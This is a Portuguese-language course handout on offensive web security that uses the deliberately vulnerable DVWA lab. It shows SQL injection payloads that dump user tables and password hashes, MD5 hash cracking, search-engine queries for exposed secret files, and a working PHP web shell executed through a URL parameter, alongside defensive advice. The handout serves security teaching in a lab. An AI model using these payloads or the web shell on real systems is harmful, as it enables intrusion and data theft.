Buscar

Apostila---Seguranca-Ofensiva-em-Sistemas-Web

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 73 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 6, do total de 73 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 9, do total de 73 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

Sobre o Professor 
 
Jean Rafael Tardem Delefrati, programador web a mais de 17 anos. Atualmente 
trabalha na GoDaddy, na plataforma de segurança Sucuri. A empresa que eu 
trabalhava, Sucuri Security, foi comprada pela GoDaddy em 2017, antes disso era 
uma empresa de capital aberto fundada por Daniel Cid (brasileiro, fundador da 
OSSEC) e Tony Perez (americano) nos EUA em 2010 e oferece atualmente 3 
produtos distintos que servem para a proteção de websites: firewall, limpeza de 
websites e monitoramento de websites. 
 
Introdução 
O mundo tem se tornado cada vez mais conectado, sistemas que parecem 
ser simples cadastros podem estar ligados por uma rede ou uma API a outros 
sistemas muito mais complexos e muita da infraestrutura da nossa sociedade pós-
moderna é controlada via software - o sistema financeiro, os sistemas de defesa, de 
saúde, de energia, de comunicação entre outros. Algumas vezes, uma falha de 
segurança em um sistema aparentemente inócuo pode abrir possibilidades para a 
exploração de falhas em sistemas diversos - considerando que algumas pessoas 
reutilizam as mesmas senhas, inclusive para emails que são usados para recuperar 
senhas ou usar como autenticação em 2 etapas. Até mesmo dados pessoais podem 
ser utilizados em opções "esqueci minha senha" ou outros fins desonestos. 
Quando ocorre uma brecha de segurança em um sistema, é normal primeiro 
se perguntar de quem é a culpa e porque não foi feito nada antes para se evitar o 
comprometimento dos dados. O problema é que geralmente, proteger um sistema 
nem sempre é algo tão simples quanto instalar um software, envolve várias frentes, 
um trabalho contínuo e um esforço conjunto para tornar um sistema o mais seguro 
possível. Uma dessas frentes é o desenvolvimento de aplicações web seguindo 
princípios de segurança. 
 
O que é uma aplicação web? 
De forma geral, são sistemas que são executados em navegadores 
(browsers) através da internet na estrutura cliente-servidor. 
A área cliente é composta pelo que é executado do lado do navegador (ou 
browser). Envolve a interface de usuário (UI), como scripts que rodam diretamente 
no navegador (como JavaScript) linguagens de interpretação de folha de estilos 
(como CSS) e apresentação de dados em geral. 
A área do servidor é a parte geralmente que é processada no servidor web. 
Ex: código em PHP, React, Java, Asp.NET etc., assim como a parte de bancos de 
dados (geralmente). 
A maior parte dos ataques a aplicações web acontecem com mais frequência 
na área do servidor (mas também podem acontecer no lado do cliente), ou porque 
os programadores deixaram brechas de segurança em seus sistemas (não 
validando entradas de usuários, por exemplo) ou por má configuração. 
É ilegal explorar sistemas web? 
 Em primeiro lugar, não é ilegal saber sobre falhas nem explorar as mesmas, 
desde que: 
● Seja em uma aplicação que você mesmo fez e está testando a segurança da 
mesma (inclusive é recomendado que se faça isso); 
● Tenha permissão expressa do dono da aplicação; 
● Esteja participando de concursos legais de CTF (capture-the-flag); 
● Seja em um ambiente próprio para tal; 
Por que explorar falhas em sistemas/aplicações web? 
 Resumindo em uma só palavra: conhecimento. Tanto conhecimento sobre as 
falhas e técnicas de exploração, quanto no sentido de aprender melhor como um 
sistema específico funciona, dando uma visão ampla e profunda sobre as 
funcionalidades. Além disso, a melhor forma de se deixar um sistema mais seguro é 
conhecendo quais falhas este sistema tem. 
 A única maneira de ter verdadeiro conhecimento sobre segurança e como se 
proteger de falhas de segurança é através da experiência. A intenção dessa 
 
disciplina não é formar hackers que irão utilizar esses conhecimentos de forma 
ilegal, mas preparar os mesmos para que possam saber quais são falhas comuns 
que podem ser evitadas e como evitá-las para tornar a internet um lugar mais 
seguro. 
Além disso, o profissional que saiba explorar falhas de segurança pode 
exercer a função de: 
● Pentester - profissional contratado e autorizado a encontrar e explorar 
vulnerabilidades em empresas e redes; 
● Pesquisador de vulnerabilidades - profissional; 
● Bug-bounter - várias empresas oferecem programa de recompensas 
(bug-bounty) com pagamento em dinheiro para vulnerabilidade em 
sistemas próprios, o bugbounter é o profissional liberal que procura por 
essas vulnerabilidades com o consentimento da empresa, existem 
vários sites com listas de programas de recompensa, como o 
Hackerone (https://hackerone.com) e o Bugcrowd 
(https://bugcrowd.com). 
● Entre outros cargos ligados à área de segurança; 
● Programadores, SysAdmins, DBAs e engenheiros de software com 
uma base sólida de segurança também são mais visados no mercado 
de trabalho. 
 
Como a intenção desse curso é formar hackers éticos e comprometidos com 
a segurança, vamos aplicar alguns conceitos de segurança e invasão de sistemas 
na prática, para tanto, vamos instalar um sistema próprio para tal. O próximo 
capítulo é dedicado a ele. 
 
https://www.hackerone.com/
https://www.bugcrowd.com/
 
Damn Vulnerable Web Application 
(DVWA) 
Para esta disciplina iremos explorar falhas de segurança usando o aplicativo 
Damn Vulnerable Web Application, ou DVWA. Esta aplicação foi desenvolvida com 
o intuito de ser vulnerável propositalmente para que alunos, professores e 
profissionais da área de segurança possam treinar e aprender técnicas de invasão e 
código seguro - aprendendo como fazer ataques, identificar e se defender quando 
eles acontecerem com aplicações na vida real. 
O DVWA roda em PHP com MySQL, pode ser configurado em qualquer 
computador que tenha os mesmos instalados, mas jamais deve ser usado em 
uma aplicação online onde o servidor possa ter qualquer outro dado ou serviço 
que possa ser explorado, pois é uma aplicação propositalmente cheia de problemas 
de segurança. Mesmo em redes internas seu uso pode ser perigoso se a porta 
do servidor web estiver aberta para acesso externo ou na rede interna (geralmente 
a porta é a 80 ou a 8080, mas pode ser outra). O servidor onde esta aplicação for 
executado pode ser explorado e inclusive pode perder dados e configurações ou 
pode ser usado para escalar privilégios e atacar outras máquinas na mesma rede. 
A forma mais segura de se executar o DVWA é em uma máquina virtual 
(VirtualBox ou VMWare, por exemplo) com a rede em NAT. A máquina virtual deve 
ser desligada sempre que não esteja em utilização. 
No exemplo de instalação iremos utilizar a VirtualBox para emular um sistema 
Linux Ubuntu com o XAMPP. Poderia ser também utilizado outro sistema 
operacional, desde que aceitasse a instalação de um Web Server (Apache, Nginx, 
por exemplo), mas a escolha se dá pelos seguintes fatos: 
● Simplicidade de instalação de softwares em sistemas Debian; 
● Segurança extra de privilégios de sistema (se o usuário não tiver permissão 
de root, tem menos chance de quebrar alguma coisa muito séria); 
● Baixo consumo de dados e memória (se instalado só o modo texto/linha de 
comando); 
 
 
Instalação 
Para tornar mais uniforme a experiência de todos(as) vamos utilizar o 
HashiCorp Vagrant (https://www.vagrantup.com/). O Vagrant é uma ferramenta para 
gerar e gerenciar máquinas virtuais e com um único script gerará uma máquina 
virtual com as mesmas características para todos os alunos. 
 O primeiro passo é fazer o download do Vagrant para o sistema operacional 
que você usa - se seu computador é Windows, faça o download para o Windows, o 
mesmo para macOS - mesmo que você queira configurar uma máquina virtual com 
o Linux. O download do Vagrant pode ser realizdo no seguinte link: 
https://www.vagrantup.com/downloads.html 
 Após feito o download, instale o Vagrant normalmente como qualquer outro 
software para seu computador (execute o arquivo e siga os passos de instalação). O 
instalador irá automaticamenteadicionar o comando vagrant à sua linha de 
comando. Experimente o seguinte comando na linha de comando/terminal: 
$ vagrant version 
 
Se o resultado for algo parecido com a seguinte tela, podemos prosseguir: 
 
 
Se o comando não for reconhecido pode ser necessário fazer logout e login 
no seu sistema operacional, ou talvez até fazer um reboot. Se mesmo assim não 
conseguir executar o comando, pode ser necessário re-instalar o Vagrant. 
Após instalado copie o script do #Anexo 1# e cole em um arquivo de texto 
simples. 
https://www.vagrantup.com/
https://www.vagrantup.com/downloads.html
 
Crie uma nova pasta vazia onde ficará sua máquina virtual e salve o arquivo 
nesta pasta com o nome Vagrantfile. Você precisará acessar esta pasta pelo 
terminal ou linha de comando, portanto, guarde o endereço desta pasta. Depois, 
pelo terminal ou linha de comando acesse a pasta com um 
$ cd /caminho/da/pasta/que/voce/criou/ 
 
E execute o seguinte comando: 
$ vagrant up 
 
Isto irá configurar a máquina virtual e mostrar uma série de comandos na 
tela. Se precisar logar ao terminal da máquina virtual, utilize SSH1 com o comando: 
$ vagrant ssh 
 
 Quando dentro da máquina virtual, para sair da sessão do SSH (sem desligar 
a máquina virtual) utilize o comando: 
$ exit 
 
Terminando a configuração você já pode acessar no seu computador com 
qualquer navegador o endereço http://localhost:8080/ e deve receber uma tela como 
a seguinte: 
 
1 Secure Shell 
http://localhost:8080/
 
 
 Clique no botão "Create / Reset Database" e as seguintes mensagens devem 
aparecer: 
 
 
 
Clique no link "login" e você será redirecionado para a URL 
http://localhost:8080/login.php : 
 
 Dados padrão para login: 
Username: admin 
Password: password 
 
 
Caso tenha algum problema sério e precise recriar a máquina virtual do zero, 
utilize os seguintes comandos: 
$ vagrant destroy && vagrant up 
 
Se mesmo assim ainda não consiga resolver algum problema e precise 
recomeçar toda a instalação de novo, tente parar a máquina virtual com o comando: 
$ vagrant destroy 
 
 E apague a pasta invisível .vagrant 
http://localhost:8080/login.php
 
Importante! 
Sempre que terminar seus estudos pare a máquina virtual com o seguinte 
comando para evitar que seu computador continue executando uma aplicação 
insegura: 
$ vagrant halt 
 
Isto irá garantir que a máquina virtual não fique rodando como um processo 
de background. Sempre que suspeitar de algum acesso incomum ou de 
processamento incomum no seu computador, pare a máquina virtual com o mesmo 
comando. Mantenha-se seguro! 
 
 
 
Usando a DVWA 
As configurações básicas da DVWA ficam no arquivo: 
 /var/www/html/config/config.inc.php 
Existem 4 níveis de desafio para a DVWA: low, medium, high e impossible. 
Vamos trabalhar com o nível low, que é o mais básico, representando um sistema 
sem nenhuma prática de segurança ativa e que demonstra quão ruim um sistema 
pode ser. 
É recomendável que se altere o nível de desafio depois de aprendidas as 
técnicas básicas e se experimento aplicar alguns dos conhecimentos em outros 
níveis de dificuldade. Para se alterar, acesse a página DVWA Security: 
 
 
Explorando falhas na DVWA 
 Existem várias formas de se explorar falhas de segurança e vários aplicativos 
prontos que reduzem o tempo e deixam mais fácil a exploitabilidade de certas 
aplicações. No entanto, a utilização dessas ferramentas por pessoas que não 
saibam exatamente o que estão fazendo pode formar hackers2 viciados que apenas 
sabem usar ferramentas, sem saber exatamente o que elas fazem. Por isso, esta 
disciplina irá mostrar que mesmo com um simples navegador e uma linha de 
comando é possível acessar, inserir, modificar e excluir dados de uma aplicação 
web de forma não convencional. Assim, espera-se que o aluno possa aprender os 
princípios básicos de grandes falhas de segurança. 
Todos os exemplos a seguir usarão o Google Chrome Versão 66, no 
entanto, outros navegadores modernos podem ser usados, desde que permitam 
inspecionar os elementos em tempo real (DOM), visualizações de conexões de 
rede, cookies, etc. 
Para alguns testes será necessário a utilização de ferramentas na linha de 
comando, como cURL e grep. É possível emular algo parecido no sistema 
operacional Windows, mas o ideal é utilizar um sistema baseado em Unix (Unix-
like) como Linux ou macOS. Para Windows acima da versão 10, existe a opção de 
utilizar o Linux Shell dentro do próprio Windows. Se sua versão é inferior a esta e 
você não tem a opção de instalar o sistema operacional no seu HD, considere a 
possibilidade de uma máquina virtual ou um live CD. 
Depois de explorados e entendidos os conceitos básicos é sugerido que se 
aprofunde em aplicações, plugins e sistemas operacionais dedicados à função 
hacker. Algumas sugestões: 
● Sistema Operacional Kali Linux - que contém uma grande gama de 
aplicativos e suíte de aplicativos próprios; 
● Suíte de Aplicativos Burp - vêm por padrão com o Kali Linux, mas pode ser 
instalado standalone; 
● Hackbar - Plugin para navegadores Mozilla; 
 
2 Hackers sem conotação negativa, no sentido de indivíduos que utilizam seu conhecimento técnico 
para resolver problemas, geralmente problemas de segurança 
 
SQL Injection 
Acesse o menu lateral "SQL Injection". Será exibida uma página como a 
seguir: 
 
 Primeiro vamos verificar o código fonte do arquivo usando o botão View 
Source que deve abrir a seguinte URL: 
http://localhost:8080/vulnerabilities/view_source.php?id=sqli&security=low. 
 É possível ver que o código é bem simples, uma variável $id que vem do 
formulário $_REQUEST[ 'id' ] e que é utilizada numa variável $query que vai 
ser usada para fazer uma consulta ao banco de dados. Como estamos usando o 
nível low, não há validações e as funções para usar o banco de dados são 
baseadas na versão antiga (já depreciada mas ainda muito utilizada) da extensão 
do MySQL para o PHP (funções começando com mysql_). Numa requisição 
"normal", a variável $id seria o ID do usuário no banco de dados, ou seja, um 
número entre 1 e 5. Voltando ao formulário, vamos primeiro verificar se realmente 
http://localhost:8080/vulnerabilities/view_source.php?id=sqli&security=low
 
uma requisição dessas funciona normalmente. Para isso vamos colocar o valor 1 no 
campo User ID: 
 
Ok, funciona. Na prática, o que aconteceu é que a variável $query recebeu o 
valor 1 e ficou assim: 
SELECT first_name, last_name FROM users WHERE user_id = '1' 
A parte em vermelho é o que foi adicionado à query. Depois essa query foi 
executada dentro do MySQL e o resultado exibido na tela. 
Note que os dados nesse caso foram passados pela URL da página (ou seja, 
no formato de Query String): 
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit# 
Todos os comandos que vamos executar também vão parar na URL da 
página, mas o SQL Injection pode ser passado em formulários em forma de POST, 
em cabeçalhos (headers), cookies, da própria URL, JSON, SOAP ou XML - ou 
basicamente qualquer tipo de inserção de dados do usuário. 
Mas o que acontece quando por exemplo utilizarmos uma aspa simples ' no 
campo User ID? A página retorna uma mensagem como essa: 
You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax 
to use near ''''' at line 1 
O que isso significa? Que a $query está sendo montada da seguinte forma: 
SELECT first_name, last_name FROM users WHERE user_id = ''' 
Note que é como se a aspa simples é executada como parte do comando, o 
que gera um erro no MySQL e retorna a mensagem descrita. Nesse caso, 
descobrimos que o sistema é vulnerável à uma SQL Injection bem simples. Em 
muitos casos um erro não é retornado e somente por tentativa e erro é possível 
descobrir se um sistemaé vulnerável. 
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
 
Sabendo que o sistema é vulnerável, vamos forjar algumas queries que 
podem nos trazer dados interessantes. Primeiro, vamos colocar um SQL Injection 
básico no campo User ID: 
' OR 1='1 
A resposta deve ser algo como a seguinte tela: 
 
Isto acontece porque a instrução SQL sendo executada é a seguinte: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1='1' 
Note que a parte em vermelho do comando foi substituída pelo valor que 
colocamos no campo nosso campo e que agora o comando SQL diz para o MySQL 
procurar por usuários cujo user_id seja em branco OU em qualquer caso em que 
1 seja igual a '1', o que sempre vai ser verdade - fazendo com que todos os campos 
sejam retornados (1 sempre vai ser igual a '1'). 
 
Para executar comandos mais interessantes, podemos usar o comando 
UNION que permite a execução de duas consultas ao banco em uma só query. Só 
que para tanto, precisamos primeiro saber quantos campos há na nossa consulta. 
Neste caso específico, já sabemos que são dois, mas se não soubéssemos, uma 
forma de descobrir é utilizando a ordem da consulta, dessa forma: 
' OR 1=1 ORDER BY 1# - deve retornar ok e a SQL executada: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=1 ORDER BY 1#' 
' OR 1=1 ORDER BY 2# - deve retornar ok e a SQL executada: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=1 ORDER BY 2#' 
' OR 1=1 ORDER BY 2# - deve retornar o erro: 
Unknown column '3' in 'order clause' 
Sabendo que temos 2 campos para trabalhar, podemos tentar outro 
comando: 
' OR 1=1 UNION SELECT NULL, VERSION()# 
 Neste caso a SQL executada será: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=1 UNION SELECT NULL, VERSION()#' 
 O resultado será o seguinte: 
 
 
Note o # próximo ao final do comando, esse é o símbolo de comentário para 
o MySQL, o que significa que tudo o que vier depois desse símbolo (como a aspa 
simples nesse caso específico) será ignorado. 
Outra parte interessante do comando é a palavra chave UNION, que permite 
que unamos mais de uma tabela no mesmo comando SQL, mesmo que os campos 
sejam diferentes. Neste caso específico, recebemos um valor novo na nossa lista, o 
resultado do comando version() no MySQL: 
Surname: 5.7.22-0ubuntu0.16.04.1 
 E se não quisermos que todos os resultados sejam exibidos (que só o 
resultado do UNION seja exibido)? 
' AND 1=0 UNION SELECT VERSION(), USER()# 
Que irá executar como: 
 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=0 UNION SELECT VERSION(), USER()#' 
Nesse caso, 1 nunca vai ser igual a 0, então a primeira parte do SELECT não 
vai retornar nada. 
 
 
 Com esse resultado já sabemos que estamos executando os comandos em 
um servidor Ubuntu 16.04 e que o usuário que roda o banco de dados é o root, o 
que significa que se conseguirmos executar alguma coisa no servidor terá 
permissões de super-usuário. 
Interessante, mas vamos fazer algo mais útil, como pegar os dados dos 
usuários direto do banco de dados. Como (em teoria) não sabemos os nomes das 
colunas que vamos usar, vamos usar a base de dados especial do MySQL chamada 
INFORMATION_SCHEMA: 
 
' AND 1=0 UNION SELECT NULL, TABLE_NAME FROM 
INFORMATION_SCHEMA.TABLES# 
Isso vai resultar em uma lista bem grande de resultados, mas olhando o 
resultado podemos ver que há uma tabela com o nome user na base de dados 
dvwa. Vamos tentar pegar as colunas dela: 
' AND 1=0 UNION SELECT TABLE_SCHEMA, CONCAT(TABLE_NAME,' - 
',COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE 
TABLE_NAME='users'# 
 
Neste caso, usamos o comando CONCAT para descobrir mais de duas 
colunas no mesmo campo. Analisando o resultado podemos construir uma SQL que 
finalmente vai resultar nos dados da tabela de usuários: 
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ', 
last_name, ' / ', user, ' / ', password) FROM users # 
 
 
 Além deste tipo de injeção para pegar outros dados, há muitas outras coisas 
que podem ser executadas em SQL Injection, como apagar, alterar ou inserir dados, 
apagar a database inteira ou até mesmo execução de arquivos remotos e upload de 
arquivos (por exemplo com SELECT ... INTO OUTFILE). 
Mostramos aqui uma única forma de injeção, que é a SQL Injection. Pode-se 
imaginar que evitando comandos SQL já estaríamos completamente protegidos, no 
entanto é possível executar injeções em bancos de dados NoSQL, ou em 
Mapeamentos objeto-relacionais (ORM), Expression Language (EL), Object Graph 
Navigation Library (OGNL), serviços de diretório como o LDAP e até comandos do 
sistema operacional. Cada um vai ter suas especificidades e pode ter impacto maior 
ou menor, mas usam o mesmo conceito: se usa de um código para ser adicionado 
ou concatenado a um comando inteiro que é repassado ao interpretador (MySQL, 
no exemplo) sem que seja devidamente limpo. 
 A DVWA ainda tem outra forma de injection, que é a de comandos, que 
basicamente funciona injetando comandos que serão executados na shell do 
servidor (como se fosse executado diretamente na linha de comando). Funciona da 
 
mesma forma que a SQL Injection, mas ao invés de comandos SQL podemos injetar 
comandos bash. 
Como se proteger? 
 Não existe uma solução única para evitar Injections, o ideal é evitar utilizar 
interpretadores - para o PHP com MySQL, por exemplo, é possível utilizar a 
extensão Mysqli com comandos preparados (prepared statements) 
(https://secure.php.net/manual/pt_BR/mysqli.prepare.php), que desde que bem 
utilizados evitam a maioria dos problemas de SQL Injection. ORMs (mapeamento 
objeto-relacional ou relational object mapping) em geral são mais seguros do que o 
uso direto de interpretadores, mas não devem ser a única forma de se proteger, pois 
podem conter falhas, o ideal é sempre se proteger de mais de uma forma. 
 Além disso, nunca se deve confiar nos dados vindos do lado do cliente, não 
só em dados de formulário, mas em headers, ou cookies, no endereço dos arquivos 
ou qualquer outro dado que venha do client-side. Sempre se deve sanitizar todos os 
dados vindos do lado do cliente que forem utilizados, mesmo que sejam cabeçalhos 
ou até mesmo a URL acessada pelo cliente. Por exemplo, se você espera por um 
número, converta os dados vindos do cliente para números, sempre que possível, 
utilize listas-brancas ao invés de listas-negras, ou seja, tenha uma lista do que é 
aceito ao invés de tentar bloquear tudo o que não seja aceito, tanto nos caracteres 
quanto nos próprios valores das variáveis. 
 Outra boa opção para evitar Injections é utilizar um Web Application Firewall 
(WAF) e um Firewall no seu servidor que vão bloquear ativamente qualquer 
requisição que pareça maligna. 
Desabilite também mensagens de erros que podem dar dicas de como suas 
queries são construídas. 
https://secure.php.net/manual/pt_BR/mysqli.prepare.php
 
Falha de criptografia 
Vamos voltar à SQL Injection na página SQL Injection e pegar o comando 
para descobrir os dados dos usuários: 
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ', 
last_name, ' / ', user, ' / ', password) FROM users # 
 
Ok, podemos ver que a senha para o usuário 'admin' é 
5f4dcc3b5aa765d61d8327deb882cf99. É um valor com 32 caracteres, misturando 
números e letras de 0 a 9 e de a a f (provavelmente hexadecimal). Essa é 
tipicamente uma hash MD5, um tipo simples de "criptografia"3 de mão-única - ou 
seja, que depois de criptografada, não pode ser descriptografada. MD5 sempre 
gera uma string com 32 caracteres, não importa o quão longa seja a sequência de 
caracteres passadas, pode ser um caractere ou um milhão, sempre o resultado terá 
32 caracteres e será um hexadecimal. 
 
3 O algorítimo MD5 na verdade não encripta os dados nem codifica, mas gera uma hash usando um 
cálculo com os bits de cada caracter, maspara simplificar a ideia iremos utilizar as expressões 
criptografar e descriptografar. 
 
Se uma hash MD5 não pode ser descriptografada, como um sistema então 
sabe que o usuário acertou a senha e não colocou qualquer outra coisa? Simples, o 
sistema encripta a senha que o usuário digitou e compara com a senha no banco de 
dados, por exemplo, em PHP: 
<?php 
//... 
$senha_digitada = 'batman'; 
if (md5($senha_digitada)==='ec0e2603172c73a8b644bb9456c1ff6e') 
{ 
echo('nananananananananananananananana); 
} 
else 
{ 
echo('senha incorreta'); 
} 
//... 
?> 
O problema é que com apenas 128-bits de entropia, o algorítimo é facilmente 
quebrado em um sistema de força-bruta no caso de vazamento de informações. 
Outra forma de encontrar a senha é usando uma rainbow table4, uma lista com 
hashs pré-processadas, que mesmo que não tenha a mesma sequência de 
caracteres pode encontrar colisões de outras hashs iguais. Existem sites com 
bilhões de hashs que podem ser consultadas em poucos segundos. 
Por exemplo, a hash "5f4dcc3b5aa765d61d8327deb882cf99" que 
encontramos no banco de dados como senha do usuário "admin" usando nossa 
SQL Injection. Uma simples pesquisa na web por essa hash já nos mostra que essa 
senha é "password" (como já sabíamos, pois a usamos para fazer login no painel de 
controle), pois essa é uma senha muito comum e facilmente adivinhável. 
Existe uma forma de deixar hashes MD5 um pouco mais seguros, 
adicionando, por exemplo "sal"5 aos caracteres antes de encriptá-los, mas mesmo 
assim, ainda não é recomendável usar MD5 para senhas. O ideal, na verdade, é 
além de "salgar" as senhas, usar algoritmos mais seguros como Blowfish. 
 
4 Em inglês, tabela arco-íris 
5 Do inglês, "salt", "salgando" ou "temperando" a senha 
 
Mesmo usando um algoritmo mais seguro seu sistema ainda não estará 
totalmente seguro, pois verificar algoritmos de hash pode permitir ataques do tipo 
timing attack - ataques que consideram o tempo do processamento para criptografar 
uma senha, permitindo que se descubra a senha trocando letra a letra e verificando 
o tempo do processamento. Quando um sistema está vulnerável, a cada letra 
modificada na senha o tempo de processamento vai ser diferente, sempre que se 
acertar uma letra o tempo será menor. Uma forma de se evitar isso é fazendo com 
que a validação tenha sempre um tempo constante6. 
 
 
 
6 Em PHP existe uma API de hash de senha nativa que faz esse cálculo automaticamente além de 
usar o algoritimo Blowfish: http://php.net/manual/pt_BR/book.password.php 
http://php.net/manual/pt_BR/book.password.php
 
 
Exposição de dados sensíveis 
 No script de instalação da aplicação foram deixadas falhas de segurança 
propositais, esta é uma delas: 
sudo cp /var/www/html/config/config.inc.php.dist 
/var/www/html/config/config.inc.php 
Outro problema é uma configuração que permite a exposição de arquivos 
quando não há um arquivo índex na pasta. Quando você acessa uma página web 
(digamos www.test.com) o servidor web (no nosso caso Apache) automaticamente 
procura por alguns arquivos especiais que geralmente começam com o nome 
index e tem uma extensão que pode ser .html, .htm, .php, .php5, .jsp, .asp, 
.aspx etc. Quando não encontra um desses arquivos, existem geralmente 3 
possibilidades: ou o gerenciador da aplicação configura o mesmo para redirecionar 
para uma página que pode mostrar ou não um erro, ou o servidor mostra um erro 
(geralmente 403 Not Allowed), ou, na instalação padrão do Apache, por exemplo, o 
servidor mostra uma página "Index of" com uma lista de todos os arquivos naquela 
pasta. Para ver como essa página se parece, acesse: 
http://localhost:8080/config/ 
 Será mostrada uma página como essa: 
 
 Ao se clicar para abrir o arquivo config.inc.php o servidor pré-processa o 
PHP e retorna uma página em branco. Se esta página tiver qualquer PHP que 
possa ser executado, ele será executado (mas não é o caso). 
http://www.test.com/
http://localhost:8080/config/config.inc.php.dist
 
No entanto, utilizamos o comando cp para fazer uma cópia do arquivo 
config.inc.php, sem apagar o arquivo config.inc.php.dist - e este arquivo 
não é reconhecido pelo servidor como um arquivo PHP, o que permite que o mesmo 
seja acessado ou baixado a partir de qualquer navegador, por exemplo. Ao acessar 
o seguinte endereço será possível baixar uma cópia do arquivo: 
http://localhost:8080/config/config.inc.php.dist 
Neste arquivo estará a senha e as chaves privadas da sua aplicação: 
http://localhost:8080/config/config.inc.php.dist
 
 
Como buscadores da web como o Google não fazem distinção do que são 
arquivos legítimos e o que são arquivos vulneráveis, muitas vezes arquivos como 
este ficam disponíveis na web e aparecem em buscas. Há um movimento da própria 
Google em tentar reduzir isto nos últimos anos, atualmente, pesquisas 
tradicionalmente utilizadas por hackers para encontrar vulnerabilidades têm sido 
restritas a partir de algumas consultas e mesmo contas são temporariamente 
bloqueadas após algumas consultas. Pesquisas como: 
 
"index of" 
password filetype:bak 
filetype:sql 
filetype: dist 
PRIVATE_KEY filetype:env 
Estes tipos de consultas em buscadores como o Google permitem encontrar 
vulnerabilidades de dados que deveriam teoricamente ser privados, mas por falta de 
atenção, de experiência ou por inconsequência foram deixados em servidores web 
abertos ao mundo exterior. Existem muitas outras pesquisas que podem trazer 
resultados parecidos, geralmente ligados a arquivos de backup, salva ou formatos 
de arquivo que nunca deveriam ser deixados na internet. 
No entanto, há um movimento pela própria Google que visa reduzir a 
quantidades de falhas divulgadas por engano, bloqueando usuários que fazem 
várias consultas como as do exemplo - esteja avisado que realizar este tipo de 
consulta não é necessariamente ilegal, mas a exploração das falhas encontradas 
sem o consentimento do dono dos websites/aplicações/programas sim. Além disso, 
quando uma falha destas é divulgada, é difícil saber quem foi o autor original se o 
mesmo está exercendo a função ilegalmente - e usuários que só estavam 
realizando pesquisas por curiosidade podem ser acusados injustamente, portanto, 
cuidado quando for acessar dados que contenham dados sensíveis. 
Mesmo quando não encontramos esses arquivos através de pesquisas da 
web, ainda há outros arquivos que podem estar no servidor e dão informações 
importantes, como o arquivo robots.txt, que pode demonstrar que existem áreas 
administrativas na aplicação, ou arquivos como README.txt, version.txt e 
CHANGELOG.md que podem exibir informações sobre versão da aplicação ou dos 
componentes dela. Sabendo que se está usando um sistema comum e 
desatualizado, facilmente pode se encontrar informações sobre falhas de segurança 
para aquela versão específica. 
 
Upload de arquivos inseguros 
Uma prática muito comum utilizada por pessoas mal intencionadas é o envio 
de arquivos "executáveis" para dentro dos servidores, conhecidos como shell 
scripts. A ideia básica é utilizar um formulário de envio de arquivos para enviar 
arquivos do tipo PHP, por exemplo, para serem executados dentro do servidor web. 
Esses arquivos permitem a execução de basicamente qualquer coisa que o PHP 
tem acesso. 
Aplicando à DVWA 
Vamos preparar uma web shell bem simples. Crie um arquivo de texto em 
branco com o seguinte código: 
<?php 
$cmd = $_GET['cmd']; 
echo('<pre>'); 
echo(@shell_exec($cmd)); 
echo('</pre>'); 
 
 Salve o arquivo como shell.php e vamos tentar enviar o mesmo para a 
DVWA. No painel da DVWA clique em File Upload: 
 
 
No campo "Choose File" selecione o arquivo shell.php que você acabou de 
criar e clique em Upload. Como estamos trabalhando no modo "low" não existe 
nenhuma segurança e o arquivo será enviadosem problemas. Veja que na própria 
mensagem a DVWA nos dá a pasta para onde esse arquivo foi enviado (duas 
pastas abaixo da pasta atual, na pasta hackables/uploads). Vamos tentar acessar o 
nosso arquivo. No browser abra o endereço: 
http://localhost:8080/hackable/uploads/shell.php 
 Você provavelmente verá uma página em branco, vamos ver o código fonte 
da página: 
 
 Se não há nenhum PHP aqui, significa que o código foi pré-processado com 
sucesso. Vamos tentar colocar um comando no nosso shell. Acesse: 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls 
